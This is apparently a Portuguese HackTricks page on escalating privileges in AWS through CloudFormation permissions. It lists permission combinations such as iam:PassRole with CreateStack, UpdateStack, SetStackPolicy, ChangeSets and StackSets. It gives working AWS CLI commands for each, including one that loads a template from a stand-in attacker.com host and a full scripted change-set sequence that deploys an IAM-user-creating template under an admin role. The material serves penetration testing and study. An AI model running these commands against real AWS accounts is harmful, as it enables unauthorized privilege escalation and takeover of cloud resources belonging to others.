AWS - Cloudformation Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

cloudformation

Para mais informações sobre o cloudformation, consulte:

pageAWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Um atacante com essas permissões pode escalar privilégios criando uma pilha CloudFormation com um modelo personalizado, hospedado em seu servidor, para executar ações sob as permissões de uma função especificada:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Na página a seguir, você tem um exemplo de exploração com a permissão adicional cloudformation:DescribeStacks:

pageiam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impacto Potencial: Escalação de privilégios para a função de serviço do CloudFormation especificada.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Neste caso, você pode abusar de uma pilha de CloudFormation existente para atualizá-la e escalar privilégios, como no cenário anterior:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

A permissão cloudformation:SetStackPolicy pode ser usada para conceder a si mesmo permissão UpdateStack sobre um stack e realizar o ataque.

Impacto Potencial: Escalação de privilégios para a função de serviço do CloudFormation especificada.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Se você tiver essa permissão mas não tiver iam:PassRole, ainda poderá atualizar os stacks usados e abusar dos IAM Roles que já estão anexados. Verifique a seção anterior para um exemplo de exploit (apenas não indique nenhum papel na atualização).

A permissão cloudformation:SetStackPolicy pode ser usada para conceder a si mesmo permissão UpdateStack sobre um stack e realizar o ataque.

Impacto Potencial: Escalação de privilégios para a função de serviço do CloudFormation já anexada.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Um atacante com permissões para passar um papel e criar e executar um ChangeSet pode criar/atualizar um novo stack do CloudFormation abusar das funções de serviço do CloudFormation da mesma forma que com o CreateStack ou UpdateStack.

O exploit a seguir é uma variação do exploit CreateStack usando as permissões ChangeSet para criar um stack.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

A permissão cloudformation:SetStackPolicy pode ser usada para conceder a si mesmo permissões de ChangeSet sobre um stack e realizar o ataque.

Impacto Potencial: Escalação de privilégios para funções de serviço do CloudFormation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Este método é semelhante ao anterior, sem a necessidade de passar funções IAM, então você pode apenas abusar das que já estão anexadas, basta modificar o parâmetro:

--change-set-type UPDATE

Impacto Potencial: Privesc para a função de serviço do cloudformation já anexada.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Um atacante poderia abusar dessas permissões para criar/atualizar StackSets e abusar de funções de cloudformation arbitrárias.

Impacto Potencial: Privesc para funções de serviço do cloudformation.

cloudformation:UpdateStackSet

Um atacante poderia abusar dessa permissão sem a permissão passRole para atualizar StackSets e abusar das funções de cloudformation anexadas.

Impacto Potencial: Privesc para as funções de cloudformation anexadas.

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización